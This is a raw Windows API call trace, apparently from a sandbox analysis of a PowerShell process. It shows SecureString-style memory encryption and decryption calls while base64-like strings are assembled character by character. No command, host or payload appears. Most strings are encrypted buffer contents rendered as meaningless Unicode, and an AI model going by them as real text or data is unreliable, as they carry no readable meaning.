(param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫ᖗ胢䷓扃ย鹾쫥\⋜) returned 0x20 [0195.487] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.488] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+FE8egsYh嶟젞ﺴ俱ୁ嚐") returned 0x20 [0195.488] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.488] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫豓䀶䃾컡꫆儁త㕼") returned 0x20 [0195.488] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫豓䀶䃾컡꫆儁త㕼") returned 0x20 [0195.488] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.488] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+FE8egsYhI젞ﺴ俱ୁ嚐") returned 0x20 [0195.488] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.488] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫虵倣㪽ⱑ㹸෗") returned 0x20 [0195.488] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫虵倣㪽ⱑ㹸෗") returned 0x20 [0195.488] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.488] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+FE8egsYhINﺴ俱ୁ嚐") returned 0x20 [0195.488] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.488] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫큽ꡁ峇釶䇫ဩ\菛⋹) returned 0x20 [0195.488] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫큽ꡁ峇釶䇫ဩ\菛⋹) returned 0x20 [0195.489] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.489] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+FE8egsYhINU俱ୁ嚐") returned 0x20 [0195.489] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.489] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫癶⦡㍷粕仟듍鮓") returned 0x20 [0195.489] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫癶⦡㍷粕仟듍鮓") returned 0x20 [0195.489] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.489] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+FE8egsYhINU1ୁ嚐") returned 0x20 [0195.489] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.489] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫詆夻왢巢궠㵠䨃") returned 0x20 [0195.489] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫詆夻왢巢궠㵠䨃") returned 0x20 [0195.489] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.489] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+FE8egsYhINU1+嚐") returned 0x20 [0195.489] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.490] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫Ⱋ巅蟓\⫘椱퀤⊒) returned 0x20 [0195.490] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫Ⱋ巅蟓\⫘椱퀤⊒) returned 0x20 [0195.490] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.490] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+FE8egsYhINU1+u") returned 0x20 [0195.490] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0195.490] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦") returned 0x20 [0195.490] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦") returned 0x20 [0195.490] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦") returned 0x20 [0195.490] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦5049652-") returned 0x28 [0195.490] SystemFunction041 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.491] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+FE8egsYhINU1+uO瑵盤䓊鿛䓱冽") returned 0x28 [0195.491] SystemFunction040 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.491] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦\ᇞᗜ粍型︧ꎾ濮⊤) returned 0x28 [0195.491] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦\ᇞᗜ粍型︧ꎾ濮⊤) returned 0x28 [0195.491] SystemFunction041 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.491] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+FE8egsYhINU1+uO9盤䓊鿛䓱冽") returned 0x28 [0195.491] SystemFunction040 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.491] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦➘Ǭ⡅讂ﾉ㴆탐") returned 0x28 [0195.491] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦➘Ǭ⡅讂ﾉ㴆탐") returned 0x28 [0195.491] SystemFunction041 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.491] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+FE8egsYhINU1+uO9O䓊鿛䓱冽") returned 0x28 [0195.491] SystemFunction040 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.491] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦锔噱㦿鎄⹐") returned 0x28 [0195.492] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦锔噱㦿鎄⹐") returned 0x28 [0195.492] SystemFunction041 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.492] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+FE8egsYhINU1+uO9Op鿛䓱冽") returned 0x28 [0195.492] SystemFunction040 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.492] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦痒ꧮᬉ㦦ဌ䥿遛휿") returned 0x28 [0195.492] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦痒ꧮᬉ㦦ဌ䥿遛휿") returned 0x28 [0195.492] SystemFunction041 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.492] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+FE8egsYhINU1+uO9OpR䓱冽") returned 0x28 [0195.492] SystemFunction040 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.492] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦ﲽΣ列ᦑ⻤฻") returned 0x28 [0195.492] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦ﲽΣ列ᦑ⻤฻") returned 0x28 [0195.492] SystemFunction041 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.492] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+FE8egsYhINU1+uO9OpR7冽") returned 0x28 [0195.493] SystemFunction040 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.493] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦픘熻竓ﻋ̈́\맘䩶≢) returned 0x28 [0195.493] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦픘熻竓ﻋ̈́\맘䩶≢) returned 0x28 [0195.493] SystemFunction041 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.493] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+FE8egsYhINU1+uO9OpR7S") returned 0x28 [0195.493] SystemFunction040 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.493] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦년繣ឳ気༯ꧦ") returned 0x28 [0195.493] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦년繣ឳ気༯ꧦ") returned 0x28 [0195.493] SystemFunction041 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.493] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+FE8egsYhINU1+uO9OpR7S1") returned 0x28 [0195.493] SystemFunction040 (in: Memory=0x3711c4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3711c4) returned 0x0 [0195.493] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦辟찈꣧讻े軠ం︓") returned 0x28 [0195.494] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦辟찈꣧讻े軠ం︓") returned 0x28 [0195.494] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦辟찈꣧讻े軠ం︓") returned 0x28 [0195.494] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦辟찈꣧讻े軠ం︓") returned 0x30 [0195.494] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0195.494] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+FE8egsYhINU1+uO9OpR7S1/\痟꠱龂焸⡿∳) returned 0x30 [0195.494] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0195.494] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦辟찈꣧讻े軠ం︓尺녁肍କ构筭妴꡽") returned 0x30 [0195.494] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦辟찈꣧讻े軠ం︓尺녁肍କ构筭妴꡽") returned 0x30 [0195.494] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0195.494] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+FE8egsYhINU1+uO9OpR7S1/N\痟꠱龂焸⡿∳) returned 0x30 [0195.494] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0195.495] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦辟찈꣧讻े軠ం︓覕෪竡郏┘ꦍ멝饋") returned 0x30 [0195.495] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦辟찈꣧讻े軠ం︓覕෪竡郏┘ꦍ멝饋") returned 0x30 [0195.495] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0195.536] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+FE8egsYhINU1+uO9OpR7S1/NUㅵ芨㢟罱㌨") returned 0x30 [0195.536] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0195.536] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦辟찈꣧讻े軠ం︓ἕꮿᱽ蚏勺顖䜦") returned 0x30 [0195.536] SysStringLen (param_1="콳鹢픹ﾉ꼲㶋᪡⧄쒩䪞鋡☛㩶免봍ࡪ⊯⫶狐畛年砲鮫訃颓徸獖硦幩읦辟찈꣧讻े軠ం︓ἕꮿᱽ蚏勺顖䜦") returned 0x30 [0195.536] SystemFunction041 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0195.536] SysStringLen (param_1="aGQnmOI9TOU8WAGf7+FE8egsYhINU1+uO9OpR7S1/NU=芨㢟罱㌨") returned 0x30 [0195.536] SystemFunction040 (in: Memory=0x3da42c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da42c) returned 0x0 [0195.537] EtwEventActivityIdControl () returned 0x0 [0195.537] EtwEventActivityIdControl () returned 0x0 [0195.537] EtwEventActivityIdControl () returned 0x0 [0195.538] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e600, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0195.538] EtwEventActivityIdControl () returned 0x0 [0195.538] EtwEventActivityIdControl () returned 0x0 [0195.538] EtwEventActivityIdControl () returned 0x0 [0195.539] SysStringLen (param_1="") returned 0x8 [0195.539] SysStringLen (param_1="N") returned 0x8 [0195.539] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.540] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0195.540] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0195.540] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.540] SysStringLen (param_1="ND") returned 0x8 [0195.540] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.540] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0195.540] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0195.540] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.540] SysStringLen (param_1="NDZ") returned 0x8 [0195.540] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.541] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0195.541] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0195.541] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.541] SysStringLen (param_1="NDZl") returned 0x8 [0195.541] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.541] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0195.541] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0195.541] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.541] SysStringLen (param_1="NDZlO") returned 0x8 [0195.541] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.542] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0195.542] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0195.542] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.542] SysStringLen (param_1="NDZlOD") returned 0x8 [0195.542] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.542] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0195.543] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0195.543] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.543] SysStringLen (param_1="NDZlODR") returned 0x8 [0195.543] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.543] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0195.543] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0195.543] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.543] SysStringLen (param_1="NDZlODRm") returned 0x8 [0195.543] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0195.543] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0195.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0195.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0195.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0195.544] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.544] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0195.544] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0195.544] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0195.545] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.545] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0195.545] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.545] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0195.545] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0195.545] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.545] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0195.545] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.545] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0195.546] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0195.546] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.546] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0195.546] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.546] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0195.546] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0195.546] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.546] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0195.546] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.546] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0195.547] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0195.547] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.547] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0195.547] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.547] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0195.547] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0195.547] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.547] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0195.547] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.547] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0195.548] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0195.548] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.548] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0195.548] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0195.548] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0195.548] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0195.548] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0195.548] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0195.549] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.549] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0195.549] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.549] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0195.549] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0195.549] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.549] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0195.549] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.549] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0195.549] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0195.550] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.550] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0195.550] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0195.550] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0195.550] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0195.550] SystemFunction041 (in: 